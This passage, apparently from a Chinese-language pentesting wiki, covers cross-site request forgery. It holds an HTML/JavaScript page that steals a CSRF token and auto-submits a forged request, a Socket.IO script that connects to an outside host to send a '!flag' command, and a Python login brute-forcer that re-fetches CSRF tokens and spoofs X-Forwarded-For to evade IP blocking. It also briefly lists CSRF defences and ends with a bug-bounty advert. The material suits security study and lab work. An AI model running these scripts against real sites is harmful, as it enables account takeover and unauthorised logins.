上述代码演示了如何使用Ajax窃取CSRF令牌然后使用窃取的令牌发送POST请求。

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

使用 Socket.IO 进行 CSRF 攻击

Cross-Site Request Forgery跨站请求伪造CSRF是一种利用受害者在已经通过身份验证的网站上执行非预期操作的攻击方式。在这种攻击中攻击者通过欺骗受害者执行恶意请求从而利用受害者的身份进行非法操作。

Socket.IO 是一个用于实时应用程序的 JavaScript 库,它允许服务器和客户端之间进行双向通信。由于 Socket.IO 的特性,攻击者可以利用它来执行 CSRF 攻击。

以下是使用 Socket.IO 进行 CSRF 攻击的步骤:

  1. 攻击者创建一个恶意网站,并在其中插入恶意代码。
  2. 受害者在已经通过身份验证的网站上登录。
  3. 受害者访问恶意网站,恶意代码会向已经通过身份验证的网站发送 CSRF 请求。
  4. 由于受害者已经通过身份验证,服务器会认为这是一个合法的请求,并执行相应的操作。
  5. 攻击者成功利用 CSRF 攻击,执行了非预期的操作。

为了防止 CSRF 攻击,开发人员可以采取以下措施:

  • 实施 CSRF 令牌:在每个表单或请求中包含一个唯一的令牌,用于验证请求的合法性。
  • 检查 Referer 头:服务器可以检查请求的 Referer 头,确保请求来自预期的来源。
  • 使用 SameSite Cookie 属性:将 Cookie 的 SameSite 属性设置为 Strict 或 Lax以限制 Cookie 的跨站传递。

通过了解 CSRF 攻击的原理和采取相应的防护措施,开发人员可以有效地保护他们的应用程序免受此类攻击的威胁。

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF登录暴力破解

该代码可以使用CSRF令牌对登录表单进行暴力破解还使用了X-Forwarded-For头部来尝试绕过可能的IP黑名单

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

工具

参考资料

HackenProof 是所有加密货币赏金的家园。

即时获得奖励
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。

在 web3 渗透测试中积累经验
区块链协议和智能合约是新的互联网!掌握 web3 安全的崛起之日。

成为 web3 黑客传奇
每次验证的漏洞都会获得声誉积分,并登上每周排行榜的榜首。

在 HackenProof 上注册 开始从您的黑客攻击中获利!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥